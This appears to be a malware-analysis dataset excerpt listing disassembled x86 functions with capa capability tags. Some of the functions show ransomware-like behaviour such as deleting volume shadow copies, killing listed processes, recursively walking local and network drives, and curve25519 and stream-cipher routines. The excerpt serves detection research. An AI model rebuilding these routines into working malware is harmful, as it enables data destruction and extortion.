joyce8/EMBER2024-capa huggingface dataset:
Function at 0x54abf0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [esp + 0x10]
mov edx, 0x400
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, 0x80
mov esi, edx
mov ecx, edi
mov byte [ebp], 0
cmp dword [esp + 0x18], ecx
cmovle ecx, dword [esp + 0x18]
test eax, eax
cmovg esi, eax
cmp esi, edx
cmovg esi, edx
mov dword [esp + 0x14], esi
test ecx, ecx
jle 0x54ac45
mov ebx, dword [esp + 0x1c]
mov edx, ebp
sub ebx, ebp
mov esi, ecx
mov al, byte [ebx + edx]
lea edx, [edx + 1]
mov byte [edx - 1], al
sub esi, 1
jne 0x54ac33
mov esi, dword [esp + 0x14]
movzx ebx, byte [ecx + ebp - 1]
cmp ecx, edi
jge 0x54ac6a
mov edx, ebp
movzx eax, byte [edx]
lea edx, [edx + 1]
add eax, ebx
movzx eax, al
movzx ebx, byte [eax + 0x60bff8]
mov byte [ecx + ebp], bl
inc ecx
cmp ecx, edi
jl 0x54ac50
mov ecx, dword [esp + 0x14]
lea ebx, [esi + 7]
sar ebx, 3
neg ecx
sub edi, ebx
and ecx, 7
movzx eax, byte [edi + ebp]
lea esi, [edi + ebp]
mov edx, 0xff
sar edx, cl
and edx, eax
movzx ecx, byte [edx + 0x60bff8]
mov byte [esi], cl
test edi, edi
je 0x54acb8
nop dword [eax + eax]
movzx eax, byte [esi + ebx - 1]
lea esi, [esi - 1]
xor eax, ecx
movzx ecx, byte [eax + 0x60bff8]
mov byte [esi], cl
sub edi, 1
jne 0x54aca0
lea esi, [ebp + 0xfc]
mov edi, 0x40
lea edx, [ebp + 0x7e]
movzx ecx, byte [edx + 1]
lea esi, [esi - 4]
movzx eax, byte [edx]
lea edx, [edx - 2]
shl ecx, 8
or ecx, eax
mov dword [esi + 4], ecx
sub edi, 1
jne 0x54acc6
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x54c960
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x2c
call fcn.0043c7d0
mov eax, dword [0x630198]
xor eax, esp
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x34]
mov dword [esp], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x18], eax
push ebx
push ebp
movzx ebx, byte [eax]
lea ebp, [eax + 1]
mov edx, ebp
shl ebx, 0x18
push esi
push edi
mov edi, dword [esp + 0x54]
movzx eax, byte [edx]
movzx ecx, byte [edx + 3]
shl eax, 0x10
or ebx, eax
shl ecx, 0x18
movzx eax, byte [edx + 1]
shl eax, 8
or ebx, eax
mov esi, dword [edi]
movzx eax, byte [edx + 2]
or ebx, eax
mov dword [esp + 0x1c], edi
movzx eax, byte [edx + 4]
shl eax, 0x10
or ecx, eax
mov dword [esp + 0x24], ebp
movzx eax, byte [edx + 6]
mov dword [esp + 0x14], ecx
movzx ecx, byte [edx + 5]
mov edx, dword [esp + 0x14]
shl ecx, 8
or ecx, eax
mov dword [esp + 0x14], ebx
mov eax, ebx
mov byte [esp + 0x2f], bl
shr eax, 0x18
or edx, ecx
mov byte [esp + 0x2c], al
mov eax, ebx
shr eax, 0x10
mov byte [esp + 0x2d], al
mov eax, ebx
shr eax, 8
mov byte [esp + 0x2e], al
mov eax, edx
shr eax, 0x18
mov byte [esp + 0x30], al
mov eax, edx
shr eax, 0x10
mov byte [esp + 0x31], al
mov eax, edx
shr eax, 8
mov byte [esp + 0x32], al
mov eax, dword [esp + 0x48]
mov dword [esp + 0x18], edx
mov byte [esp + 0x33], dl
test eax, eax
je 0x54cb25
mov ecx, dword [esp + 0x10]
mov edi, dword [esp + 0x40]
sub ecx, edi
mov dword [esp + 0x10], ecx
xor ebp, ebp
nop dword [eax]
dec eax
mov dword [esp + 0x48], eax
test esi, esi
jne 0x54cab5
push dword [esp + 0x20]
lea eax, [esp + 0x18]
push eax
call fcn.0054c370
mov ebx, dword [esp + 0x1c]
add esp, 8
mov edx, dword [esp + 0x18]
mov eax, ebx
shr eax, 0x18
mov byte [esp + 0x2c], al
mov eax, ebx
mov ecx, dword [esp + 0x10]
shr eax, 0x10
mov byte [esp + 0x2d], al
mov eax, ebx
shr eax, 8
mov byte [esp + 0x2e], al
mov eax, edx
shr eax, 0x18
mov byte [esp + 0x30], al
mov eax, edx
shr eax, 0x10
mov byte [esp + 0x31], al
mov eax, edx
shr eax, 8
inc ebp
mov byte [esp + 0x2f], bl
mov byte [esp + 0x32], al
mov byte [esp + 0x33], dl
mov al, byte [esp + esi + 0x2c]
inc esi
xor al, byte [edi]
and esi, 7
mov byte [ecx + edi], al
inc edi
mov eax, dword [esp + 0x48]
test eax, eax
jne 0x54ca50
test ebp, ebp
mov ebp, dword [esp + 0x24]
je 0x54cb0c
mov ecx, dword [esp + 0x28]
mov eax, ebx
shr eax, 0x18
mov byte [ecx], al
mov eax, ebx
shr eax, 0x10
mov byte [ebp], al
mov eax, ebx
shr eax, 8
mov byte [ebp + 1], al
mov eax, edx
shr eax, 0x18
mov byte [ebp + 2], bl
mov byte [ebp + 3], al
mov eax, edx
shr eax, 0x10
mov byte [ebp + 4], al
mov eax, edx
shr eax, 8
mov byte [ebp + 5], al
mov byte [ebp + 6], dl
mov eax, dword [esp + 0x1c]
pop edi
mov dword [eax], esi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0043c551
add esp, 0x2c
ret
mov ecx, dword [esp + 0x38]
mov dword [edi], esi
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0043c551
add esp, 0x2c
ret
Function at 0x550560
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using salsa20 or chacha

Disassembly:
mov eax, 0x98
call fcn.0043c7d0
mov eax, dword [0x630198]
xor eax, esp
mov dword [esp + 0x94], eax
mov ecx, dword [esp + 0xa8]
push edi
mov edi, dword [esp + 0xa0]
mov dword [esp + 4], edi
mov eax, dword [ecx]
mov dword [esp + 0x68], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0x6c], eax
mov eax, dword [ecx + 8]
mov dword [esp + 0x70], eax
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x74], eax
mov eax, dword [ecx + 0x10]
mov dword [esp + 0x78], eax
mov eax, dword [ecx + 0x14]
mov dword [esp + 0x7c], eax
mov eax, dword [ecx + 0x18]
mov dword [esp + 0x80], eax
mov eax, dword [ecx + 0x1c]
mov ecx, dword [esp + 0xb0]
mov dword [esp + 0x84], eax
mov dword [esp + 0x58], 0x61707865
mov dword [esp + 0x5c], 0x3320646e
mov eax, dword [ecx]
mov dword [esp + 0x88], eax
mov eax, dword [ecx + 4]
mov dword [esp + 0x8c], eax
mov eax, dword [ecx + 8]
mov dword [esp + 0x90], eax
mov eax, dword [ecx + 0xc]
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0xa8]
mov dword [esp + 0x60], 0x79622d32
mov dword [esp + 0x64], 0x6b206574
test eax, eax
je 0x55075d
push ebx
mov ebx, dword [esp + 0xa8]
push ebp
push esi
nop
mov esi, 0x40
cmp eax, esi
cmovb esi, eax
lea eax, [esp + 0x64]
push eax
lea eax, [esp + 0x28]
mov dword [esp + 0x24], esi
push eax
call fcn.00550780
add esp, 8
xor eax, eax
test esi, esi
je 0x55072c
cmp esi, 0x20
jb 0x550704
lea edx, [edi - 1]
lea ecx, [esp + esi + 0x23]
add edx, esi
cmp edi, ecx
ja 0x55067c
lea ecx, [esp + 0x24]
cmp edx, ecx
jae 0x550704
lea ecx, [ebx - 1]
add ecx, esi
cmp edi, ecx
ja 0x550689
cmp edx, ebx
jae 0x550704
mov ebp, esi
lea edx, [edi + 0x10]
lea esi, [esp + 0x24]
mov ecx, ebx
sub ecx, esi
and ebp, 0xffffffe0
mov dword [esp + 0x14], ecx
mov ecx, edi
sub ecx, esi
mov dword [esp + 0x18], ecx
mov ecx, ebx
mov ebx, dword [esp + 0x14]
sub ecx, edi
mov esi, dword [esp + 0x18]
mov edi, ecx
mov dword [esp + 0x1c], ecx
nop word [eax + eax]
movups xmm0, xmmword [esp + eax + 0x24]
lea ecx, [ebx + eax]
movups xmm1, xmmword [esp + ecx + 0x24]
lea ecx, [esi + eax]
lea edx, [edx + 0x20]
pxor xmm1, xmm0
movups xmm0, xmmword [esp + eax + 0x34]
add eax, 0x20
movups xmmword [esp + ecx + 0x24], xmm1
movups xmm1, xmmword [edi + edx - 0x20]
pxor xmm1, xmm0
movups xmmword [edx - 0x20], xmm1
cmp eax, ebp
jb 0x5506c0
mov esi, dword [esp + 0x20]
mov edi, dword [esp + 0x10]
mov ebx, dword [esp + 0xb0]
cmp eax, esi
jae 0x55072c
lea ecx, [esp + 0x24]
mov ebp, edi
sub ebx, ecx
sub ebp, ecx
lea edx, [esp + 0x24]
add edx, eax
inc eax
mov cl, byte [ebx + edx]
xor cl, byte [edx]
mov byte [edx + ebp], cl
cmp eax, esi
jb 0x550712
mov ebx, dword [esp + 0xb0]
mov eax, dword [esp + 0xb4]
add edi, esi
inc dword [esp + 0x94]
sub eax, esi
add ebx, esi
mov dword [esp + 0x10], edi
mov dword [esp + 0xb0], ebx
mov dword [esp + 0xb4], eax
test eax, eax
jne 0x550630
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x98]
pop edi
xor ecx, esp
call fcn.0043c551
add esp, 0x98
ret
Function at 0x5530c0
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0x18], 0
je 0x5530d4
mov dword [esp + 0x18], fcn.005518a0
jmp fcn.00543040
mov dword [esp + 0x18], fcn.00550b40
jmp fcn.00542d80
Function at 0x402460
Capabilities:
Create process on windows
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4169f0
mov eax, dword fs:[0]
push eax
sub esp, 0x2f8
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x2f0]
call fcn.00401460
lea ecx, [ebp - 0x2f0]
mov dword [ebp - 4], 0
call fcn.00401cb0
test al, al
jne 0x4024c3
push str._restoreFromBak_Failed
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov byte [ebp - 0x301], 0
jmp 0x4025a0
xorps xmm0, xmm0
mov dword [ebp - 0x25c], 0x44
push 0x208
lea eax, [ebp - 0x218]
movlpd qword [ebp - 0x258], xmm0
push 0
push eax
movlpd qword [ebp - 0x250], xmm0
movlpd qword [ebp - 0x248], xmm0
movlpd qword [ebp - 0x240], xmm0
movlpd qword [ebp - 0x238], xmm0
movlpd qword [ebp - 0x230], xmm0
movlpd qword [ebp - 0x228], xmm0
movlpd qword [ebp - 0x220], xmm0
movups xmmword [ebp - 0x300], xmm0
call fcn.00403b60
cmp dword [ebp - 0x2d8], 8
lea eax, [ebp - 0x2ec]
cmovae eax, dword [ebp - 0x2ec]
push eax
lea eax, [ebp - 0x218]
push 0x41ce60
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x18
lea eax, [ebp - 0x300]
push eax
lea eax, [ebp - 0x25c]
push eax
push 0
push 0
push 8
push 1
push 0
push 0
lea eax, [ebp - 0x218]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x402599
push dword [ebp - 0x300]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x2fc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x301], 1
lea ecx, [ebp - 0x2f0]
call fcn.00401ad0
mov al, byte [ebp - 0x301]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040273b
mov esp, ebp
pop ebp
ret

Function at 0x40c917
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x418c40
push 0x418c38
push str.FlsAlloc
push 0x1e
call fcn.0040c7d8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40c94b
push dword [ebp + 8]
mov ecx, esi
call dword [0x41714c]
call esi
jmp 0x40c951
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40c995
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x418c50
push 0x418c48
push str.FlsGetValue
push 0x20
call fcn.0040c7d8
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40c9cc
push dword [ebp + 8]
mov ecx, esi
call dword [0x41714c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40e381
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40e41e
push ebx
push esi
call fcn.0040e34a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040e293
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40e3cb
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40e41d
push edi
push eax
call fcn.0040aadc
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40e3eb
call fcn.0040aaa2
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40e41c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040e293
add esp, 0x20
test eax, eax
jne 0x40e40a
push edi
call fcn.0040aaa2
jmp 0x40e412
push ebx
call fcn.0040aaa2
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x402980
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e4
mov eax, dword [0x40c208]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x274], 0x401590
push edi
mov dword [ebp - 0x270], 0x401598
xor edi, edi
mov dword [ebp - 0x26c], 0x4015a0
mov dword [ebp - 0x268], 0x4015a8
mov dword [ebp - 0x264], 0x4015b0
mov dword [ebp - 0x260], 0x4015b8
mov dword [ebp - 0x25c], 0x4015c0
mov dword [ebp - 0x258], 0x4015c8
mov dword [ebp - 0x254], 0x4015d0
mov dword [ebp - 0x250], 0x4015d8
mov dword [ebp - 0x24c], 0x4015e0
mov dword [ebp - 0x248], 0x4015e8
mov dword [ebp - 0x244], 0x4015f0
mov dword [ebp - 0x240], 0x4015f8
mov dword [ebp - 0x23c], 0x401600
mov dword [ebp - 0x238], 0x401608
mov dword [ebp - 0x234], 0x401610
mov dword [ebp - 0x230], 0x401618
mov dword [ebp - 0x22c], 0x401620
mov dword [ebp - 0x228], 0x401628
mov dword [ebp - 0x224], 0x401630
mov dword [ebp - 0x220], 0x401638
mov dword [ebp - 0x21c], 0x401640
mov dword [ebp - 0x218], 0x401648
mov dword [ebp - 0x214], 0x401650
mov dword [ebp - 0x210], 0x401658
mov dword [ebp - 0x2e0], esi
nop dword [eax]
nop dword [eax + eax]
mov ebx, dword [ebp + edi*4 - 0x274]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x402acb
mov dword [ebp + esi*4 - 0x2dc], ebx
inc esi
inc edi
cmp edi, 0x1a
jl 0x402ab0
xor eax, eax
push 0x10000
mov word [ebp - 0x20c], ax
call fcn.0040b5c0
mov edi, eax
add esp, 4
test edi, edi
je 0x402b90
push 0x10000
call fcn.0040b5c0
add esp, 4
mov dword [ebp - 0x2e4], eax
test eax, eax
je 0x402b87
push 0x8000
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ebx, eax
test esi, esi
je 0x402b72
lea eax, [ebp - 0x2e0]
push eax
push 0x78
lea eax, [ebp - 0x20c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
je 0x402b52
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 3
jne 0x402b52
xor eax, eax
mov word [ebp - 0x20c], ax
jmp 0x402b61
dec esi
push edi
push dword [ebp + esi*4 - 0x2dc]
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0x8000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x402b16
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push dword [ebp - 0x2e4]
call fcn.0040b5f0
add esp, 4
push edi
call fcn.0040b5f0
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b79a
mov esp, ebp
pop ebp
ret
Function at 0x402bb0
Capabilities:
Create process on windows
Delete volume shadow copies

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
push edi
push 0x401660
push 0x401670
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov edi, eax
test edi, edi
je 0x402bf6
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x402c19
cmp dword [ebp - 4], 0
je 0x402c19
push 0x401680
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x401690
push eax
call esi
test eax, eax
je 0x402c19
lea ecx, [ebp - 8]
push ecx
call eax
push 0
push 0
push 0x4016b0
push 0x401708
push 0x401718
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0x401660
push 0x401670
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call esi
mov edi, eax
test edi, edi
je 0x402c65
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call edi
test eax, eax
je 0x402c87
cmp dword [ebp - 4], 0
je 0x402c87
push 0x401724
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x401734
push eax
call esi
test eax, eax
je 0x402c87
push dword [ebp - 8]
call eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402ee0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x40c208]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push ebx
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x402f86
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
xor esi, esi
nop dword [eax]
nop dword [eax + eax]
lea eax, [ebp - 0x20c]
push eax
push dword [esi + 0x40c0b0]
call edi
test eax, eax
je 0x402f4d
add esi, 4
cmp esi, 0x7c
jb 0x402f30
jmp 0x402f73
push dword [ebp - 0x228]
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x402f73
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x230]
push eax
push ebx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x402f22
pop edi
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040b79a
mov esp, ebp
pop ebp
ret

Function at 0x402fa0
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
jne 0x402fe2
push 0xf0000008
push 0x18
push eax
push eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
neg eax
sbb eax, eax
and eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x403150
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x40c208]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push edi
push 0x40c214
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push dword [ebp + 0x10]
lea eax, [ebp - 0x18]
push 0x401754
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenA]
add esp, 0xc
push esi
call edi
push 0
lea ecx, [ebp - 0x1c]
push ecx
push eax
push esi
push dword [0x40c210]
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
call esi
push 0
lea eax, [ebp - 0x1c]
push eax
push 0xe
push 0x401758
push dword [0x40c210]
call esi
lea eax, [ebp - 0x18]
push eax
call edi
push 0
lea ecx, [ebp - 0x1c]
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push dword [0x40c210]
call esi
push 0
lea eax, [ebp - 0x1c]
push eax
push 4
push 0x401768
push dword [0x40c210]
call esi
push ebx
call edi
push 0
lea ecx, [ebp - 0x1c]
push ecx
push eax
push ebx
push dword [0x40c210]
call esi
push 0
lea eax, [ebp - 0x1c]
push eax
push 2
push 0x401770
push dword [0x40c210]
call esi
push 0x40c214
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b79a
mov esp, ebp
pop ebp
ret
Function at 0x403280
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
mov eax, dword [0x40c208]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
movups xmm0, xmmword [eax]
push ecx
movups xmm1, xmmword [eax + 0x10]
movd eax, xmm0
movups xmmword [ebp - 0x14], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
lea eax, [ebp - 0x164]
push eax
call fcn.00404a80
lea eax, [ebp - 0x164]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x204]
push eax
call fcn.00403370
lea eax, [ebp - 0x7c]
push eax
lea eax, [ebp - 0x1b4]
push eax
call fcn.004036c0
lea eax, [ebp - 0x1b4]
push eax
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x114]
push eax
call fcn.004052c0
lea eax, [ebp - 0x114]
push eax
call fcn.004058a0
lea eax, [ebp - 0x114]
push eax
call fcn.00405790
push 0x50
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x7c]
push eax
call fcn.0040b580
add esp, 0x40
lea eax, [ebp - 0x7c]
push eax
push esi
call fcn.00404420
mov ecx, dword [ebp - 4]
add esp, 8
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0040b79a
mov esp, ebp
pop ebp
ret
Function at 0x406b40
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x40c208]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
push 0
push edi
push 0x40c25c
mov dword [ebp - 0x260], edi
call fcn.0040b6f0
add esp, 0xc
test eax, eax
jne 0x406bcc
lea eax, [ebp - 0x25c]
push eax
push 0
push 0x40c22c
call fcn.0040b670
mov esi, eax
add esp, 0xc
test esi, esi
je 0x406bb8
nop
push esi
call fcn.00405e30
push esi
call fcn.0040b5f0
lea eax, [ebp - 0x25c]
push eax
push 0
push 0x40c22c
call fcn.0040b670
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x406b90
push 0
push edi
push 0x40c25c
call fcn.0040b6f0
add esp, 0xc
test eax, eax
je 0x406b73
push 0x10000
call fcn.0040b5c0
mov ebx, eax
add esp, 4
mov dword [ebp - 0x264], ebx
test ebx, ebx
je 0x406d28
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x401ee4
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x254]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x258], eax
cmp eax, 0xffffffff
je 0x406ca2
nop word [eax + eax]
test byte [ebp - 0x254], 0x10
je 0x406c81
xor esi, esi
nop dword [eax + eax]
push dword [esi + 0x40c130]
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x406c7b
add esi, 4
cmp esi, 0xd8
jb 0x406c30
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x401eec
push ebx
call esi
lea eax, [ebp - 0x228]
push eax
push ebx
call esi
push ebx
call fcn.00406b40
add esp, 4
mov eax, dword [ebp - 0x258]
lea ecx, [ebp - 0x254]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
mov eax, dword [ebp - 0x258]
jne 0x406c20
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x406d1f
cmp dword [0x40c28c], 0
je 0x406d1f
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0
push 0
push 0
push 0
push edi
call ebx
push eax
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
push 0xfde9
call edi
mov esi, eax
push esi
call fcn.0040b5c0
add esp, 4
mov dword [ebp - 0x258], eax
push 0
push 0
push esi
mov esi, dword [ebp - 0x260]
push eax
push esi
call ebx
push eax
push esi
push 0
push 0xfde9
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, dword [ebp - 0x258]
push eax
push esi
push 0x401ef0
call fcn.00403150
push esi
call fcn.0040b5f0
mov ebx, dword [ebp - 0x264]
add esp, 0x10
push ebx
call fcn.0040b5f0
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040b79a
mov esp, ebp
pop ebp
ret
Function at 0x407480
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
push 0xe
call fcn.0040b5c0
mov edi, eax
add esp, 4
test edi, edi
je 0x407532
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x401f24
push edi
call esi
push 0x401f30
lea ecx, [edi + 0xa]
push ecx
call esi
mov ax, word [ebp + 8]
lea ebx, [edi + 8]
push edi
mov word [ebx], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x407527
cmp eax, 5
je 0x407527
cmp eax, 4
je 0x4074ec
push edi
call fcn.00406b40
add esp, 4
push edi
call fcn.0040b5f0
add esp, 4
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
push 0x208
mov dword [ebp - 4], 0x104
call fcn.0040b5c0
mov esi, eax
add esp, 4
test esi, esi
je 0x407527
lea eax, [ebp - 4]
push eax
push esi
push ebx
call sub.MPR.dll_WNetGetConnectionW
test eax, eax
jne 0x40751e
push esi
call fcn.00406b40
add esp, 4
push esi
call fcn.0040b5f0
add esp, 4
push edi
call fcn.0040b5f0
add esp, 4
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x409540
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
mov eax, 0x676e6f64
test esi, esi
je 0x409571
push edi
mov edi, dword [ebp + 8]
movzx ecx, byte [edi]
lea edi, [edi + 1]
mov edx, eax
shl eax, 8
shr edx, 0x18
xor edx, ecx
xor eax, dword [edx*4 + 0x401f88]
sub esi, 1
jne 0x409554
pop edi
pop esi
pop ebp
ret